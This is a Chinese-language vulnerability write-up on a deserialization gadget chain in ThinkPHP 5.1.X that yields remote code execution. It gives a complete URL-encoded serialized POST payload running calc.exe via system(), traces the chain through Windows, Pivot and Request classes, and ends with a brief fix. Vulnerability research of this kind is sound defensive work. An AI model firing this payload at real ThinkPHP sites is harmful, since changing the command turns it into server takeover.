漏洞简介
5.1.X版本存在反序列化链子,可以执行任意代码
漏洞演示
使用以下命令下载代码
1 | #下载指定版本的thinkphp源码 |
漏洞利用前提
以下两个条件满足一个即可
- 存在反序列化的点如
unserialize - 存在文件上传、文件名完全可控、使用了文件操作函数,例如:
file_exists('phar://恶意文件')
poc1
1 |
|
poc2
1 |
|
生成弹计算器的payload,通过post传参
1 | c=O%3A27%3A%22think%5Cprocess%5Cpipes%5CWindows%22%3A1%3A%7Bs%3A34%3A%22%00think%5Cprocess%5Cpipes%5CWindows%00files%22%3Ba%3A1%3A%7Bi%3A0%3BO%3A17%3A%22think%5Cmodel%5CPivot%22%3A2%3A%7Bs%3A9%3A%22%00%2A%00append%22%3Ba%3A1%3A%7Bs%3A9%3A%22HackerQWQ%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A4%3A%22test%22%3B%7D%7Ds%3A17%3A%22%00think%5CModel%00data%22%3Ba%3A1%3A%7Bs%3A9%3A%22HackerQWQ%22%3BO%3A13%3A%22think%5CRequest%22%3A5%3A%7Bs%3A9%3A%22%00%2A%00config%22%3Ba%3A10%3A%7Bs%3A10%3A%22var_method%22%3Bs%3A7%3A%22_method%22%3Bs%3A8%3A%22var_ajax%22%3Bs%3A3%3A%22cmd%22%3Bs%3A8%3A%22var_pjax%22%3Bs%3A5%3A%22_pjax%22%3Bs%3A12%3A%22var_pathinfo%22%3Bs%3A1%3A%22s%22%3Bs%3A14%3A%22pathinfo_fetch%22%3Ba%3A3%3A%7Bi%3A0%3Bs%3A14%3A%22ORIG_PATH_INFO%22%3Bi%3A1%3Bs%3A18%3A%22REDIRECT_PATH_INFO%22%3Bi%3A2%3Bs%3A12%3A%22REDIRECT_URL%22%3B%7Ds%3A14%3A%22default_filter%22%3Bs%3A0%3A%22%22%3Bs%3A15%3A%22url_domain_root%22%3Bs%3A0%3A%22%22%3Bs%3A16%3A%22https_agent_name%22%3Bs%3A0%3A%22%22%3Bs%3A13%3A%22http_agent_ip%22%3Bs%3A14%3A%22HTTP_X_REAL_IP%22%3Bs%3A15%3A%22url_html_suffix%22%3Bs%3A4%3A%22html%22%3B%7Ds%3A8%3A%22%00%2A%00param%22%3Ba%3A1%3A%7Bs%3A3%3A%22cmd%22%3Bs%3A8%3A%22calc.exe%22%3B%7Ds%3A13%3A%22%00%2A%00mergeParam%22%3Bb%3A1%3Bs%3A7%3A%22%00%2A%00hook%22%3Ba%3A1%3A%7Bs%3A7%3A%22visible%22%3Ba%3A2%3A%7Bi%3A0%3Br%3A8%3Bi%3A1%3Bs%3A6%3A%22isAjax%22%3B%7D%7Ds%3A9%3A%22%00%2A%00filter%22%3Bs%3A6%3A%22system%22%3B%7D%7D%7D%7D%7D |

漏洞分析
在Index.php添加以下代码
1 |
|
前几个点都跟TP5.0.X的差不多
由Windows.php的removeFiles到file_exists触发Conversion.php的__toString到toJson然后是toArray

toArray函数中需要关注的是$relation->visible函数,因为这可以触发__call从而继续利用,先看下一部分的链子

找到Request类的__call方法,这里的$this->hood[$method]变量可控,但是上面的array_unshift函数会把$this放到$args数组中的第一个从而触发fatal error退出程序,因此还需要寻找其他可利用的方法

这里通过call_user_func_array([类名,方法名],变量)的形式调用任意类的任意方法,而之前分析TP5任意代码执行的漏洞的时候出镜率比较高的input方法就派上用场了

但是由于存在一个强制转换,类对象被强制转换的话会触发fatal error,因此需要用其他方法进入input方法,这里我们用Reuqest的param方法,需要让$this->param为我们的命令(calc.exe),从而进入input方法,但是这样的话还是第二个参数位置的$name变量强制转换,因此还需要往上套

这里找到isAjax或者isPjax都可以,这里的$this->config['var_ajax']可控,这样就不会引起name强制转换出错了

顺利进入到intput方法后,getFilter方法返回$this->filter,照例改为system,然后这里进入is_array分支或者不进入都可以,在上面的$this->param处修改即可,然后调用fileterValue

此时$filter为system,$data为payload,通过call_user_func执行任意代码

漏洞修复
在Windows.php处对$filename进行校验就好了